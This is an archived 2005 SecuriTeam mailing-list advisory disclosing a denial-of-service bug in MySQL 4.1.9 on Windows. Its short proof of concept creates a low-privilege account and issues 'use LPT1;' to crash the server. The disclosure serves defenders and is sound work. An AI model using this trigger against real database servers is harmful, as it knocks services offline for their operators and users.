From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 15 Mar 2005 16:04:44 +0200
Subject: [NT] MySQL Server for Windows Device Names DoS
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050315143537.2780457C4@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MySQL Server for Windows Device Names DoS
------------------------------------------------------------------------
SUMMARY
<http://www.mysql.com>; MySQL is "an attractive alternative to
higher-cost, more complex database technology".
A vulnerability exist within the MySQL server when it is launched under
the Windows environment that allows a remote attacker that cause it to
crash by using either of the two MS-DOS based device names: LPT1 and PRN.
DETAILS
Vulnerable Systems:
* MySQL version 4.1.9 under Windows
This flaw allows an authenticated user with at least one of the following
privileges to cause a denial of service attack:
* REFERENCES
* CREATE TEMPORARY TABLES
* GRANT OPTION
* CREATE
* SELECT
Proof of Concept:
1. Create a user account:
(connected as 'root')
use mysql;
INSERT INTO user (Host,User,Password)
VALUES('%','customer',PASSWORD('customer'));
2. Grant to him one or more privileges reported above:
(connected as 'root')
GRANT CREATE TEMPORARY TABLES ON *.* TO 'customer'@'%';
flush privileges;
3. Connect to server using new account and 'use' the database 'LPT1':
(connected as 'customer')
use LPT1;
Vendor Status:
The vendor had confirm the existence of the bug:
<http://bugs.mysql.com/bug.php?id=9148>;
http://bugs.mysql.com/bug.php?id=9148
ADDITIONAL INFORMATION
The information has been provided by <mailto:io@lucaercoli.it.> Luca
Ercoli.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
